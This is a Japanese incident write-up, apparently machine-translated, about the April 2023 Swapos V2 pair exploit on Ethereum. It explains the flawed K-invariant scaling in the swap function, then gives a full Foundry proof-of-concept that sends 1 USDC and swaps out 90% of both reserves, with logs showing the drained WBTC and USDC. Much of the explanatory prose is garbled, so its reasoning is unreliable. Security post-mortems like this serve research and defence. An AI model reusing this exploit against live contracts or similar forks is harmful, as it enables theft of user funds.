2023 年 4 月 19 日、
ETH
オンチェーン
Swapos
が 攻撃され、損失は
468K
USD に達しました。
攻撃紹介
2023 年 4 月 19 日に、チェーンが攻撃されて損失が発生した@BeosinAlert
という警告が発行され、攻撃ハッシュの 1 つが.Ethereum
SwaposV2Pair
$467,192
0x78edc292af51a93f89ac201a742bce9fa9c5d9a7007f034aa30535e35082d50a
攻撃分析
分析にファルコンを使用すると、攻撃はプロセスの観点から非常に単純です。つまり、呼び出される関数は、SWP-V2
バランスの抜け穴がない限り、swap
一般的に言えば、router
それと対話します(以前の 001-OLIFE も使用されていました)。swap
同様の抜け穴)。
バグはここにあります:
balance0 = IERC20(_token0).balanceOf(address(this));
balance1 = IERC20(_token1).balanceOf(address(this));
}
uint amount0In = balance0 > _reserve0 - amount0Out ? balance0 - (_reserve0 - amount0Out) : 0;
uint amount1In = balance1 > _reserve1 - amount1Out ? balance1 - (_reserve1 - amount1Out) : 0;
require(amount0In > 0 || amount1In > 0, 'SwaposV2: INSUFFICIENT_INPUT_AMOUNT');
{ // scope for reserve{0,1}Adjusted, avoids stack too deep errors
uint balance0Adjusted = balance0.mul(10000).sub(amount0In.mul(10));
uint balance1Adjusted = balance1.mul(10000).sub(amount1In.mul(10));
require(balance0Adjusted.mul(balance1Adjusted) >= uint(_reserve0).mul(_reserve1).mul(1000**2), 'SwaposV2: K');
}
balance0Adjusted
合計balance1Adjusted
が乗算されるため、最終的には途中で 100 倍悪化する10000
だけです。mul(1000*2)
渡さないので、そう_reserve0 - amount0Out = 0
なのでbalance0Adjusted = balance0
、会うだけでbalance0Adjusted * 10 >= _reserve0
、 があるのでrequire(amount0In > 0 || amount1In > 0, 'SwaposV2: INSUFFICIENT_INPUT_AMOUNT');
、1ユニットを手動で転送して制限をバイパスできます。
POC
攻撃 POC は次のとおりです。
// SPDX-License-Identifier: UNLICENSED
pragma solidity ^0.8.0;
import "forge-std/Test.sol";
import "../interface.sol";
// @KeyInfo - Total Lost : ~ 486K US$
// Event : Swapos Hack
// Analysis via https://explorer.phalcon.xyz/tx/eth/0x78edc292af51a93f89ac201a742bce9fa9c5d9a7007f034aa30535e35082d50a
// Attacker : 0x53fc4a4a638378b9b81393fbe0fa9a6de2323ebd
// Attack Contract : 0x2df07c054138bf29348f35a12a22550230bd1405
// Vulnerable Contract : 0xf40593a22398c277237266a81212f7d41023b630 (Pancake Swap Contract)
// Attack Tx : https://etherscan.io/tx/0x78edc292af51a93f89ac201a742bce9fa9c5d9a7007f034aa30535e35082d50a
// @Info
// Price manipulation, Vulnerability Exploit
// @Analysis
// DefiHackLab : https://twitter.com/BeosinAlert/status/1647552192243728385
address constant SWAP_ADDRESS = 0xf40593A22398c277237266A81212f7D41023b630;
address constant WBTC_ADDRESS = 0x2260FAC5E5542a773Aa44fBCfeDf7C193bc2C599;
address constant USDC_ADDRESS = 0xA0b86991c6218b36c1d19D4a2e9Eb0cE3606eB48;
uint256 constant USDC_DECIMALS = 6;
uint256 constant WBTC_DECIMALS = 8;
contract Swapos is Test { // EOA Simulation
function setUp() public {
vm.createSelectFork("mainnet",17057442); // Go back before hacking time
console.log("start with block %d",17057442);
console.log("Attacker address %s",address(this));
}
function testExploit() public {
console.log("start hacking...");
emit log_named_decimal_uint("[Start] Attacker WBTC Balance", IERC20(WBTC_ADDRESS).balanceOf(address(this)), WBTC_DECIMALS);
emit log_named_decimal_uint("[Start] Attacker USDC Balance", IERC20(USDC_ADDRESS).balanceOf(address(this)), USDC_DECIMALS);
Exploit exploit = new Exploit();
exploit.attack();
console.log("End hacking...");
emit log_named_decimal_uint("[End] Attacker WBTC Balance", IERC20(WBTC_ADDRESS).balanceOf(address(this)), WBTC_DECIMALS);
emit log_named_decimal_uint("[End] Attacker USDC Balance", IERC20(USDC_ADDRESS).balanceOf(address(this)), USDC_DECIMALS);
}
}
contract Exploit is Test{
address owner;
constructor() public{
owner = msg.sender;
}
function attack() public {
deal(USDC_ADDRESS, address(this), 1);
IUniswapV2Pair pair = IUniswapV2Pair(SWAP_ADDRESS);
(uint256 amount0, uint256 amount1,) = pair.getReserves();
IERC20(USDC_ADDRESS).transfer(SWAP_ADDRESS,1);
pair.swap(amount0/10 * 9, amount1/10 * 9,owner,"");
}
}
出力は次のとおりです。
[PASS] testExploit() (gas: 2527934)
Logs:
start with block 17057442
Attacker address 0x7FA9385bE102ac3EAc297483Dd6233D62b3e1496
start hacking...
[Start] Attacker WBTC Balance: 0.00000000
[Start] Attacker USDC Balance: 0.000000
End hacking...
[End] Attacker WBTC Balance: 1.42229691
[End] Attacker USDC Balance: 43099.909083
要約する
正直なところ、なんと言っていいのかわかりませんが、この種の問題は誰もが責任を負っています。.
アドレスを調べたところ0x78520513e30ce6Beba2f2e393ae581f3d77db993
、それによって作成されたコントラクトは、攻撃が発生してから 20 ブロック後に流動性をすぐに撤回しました。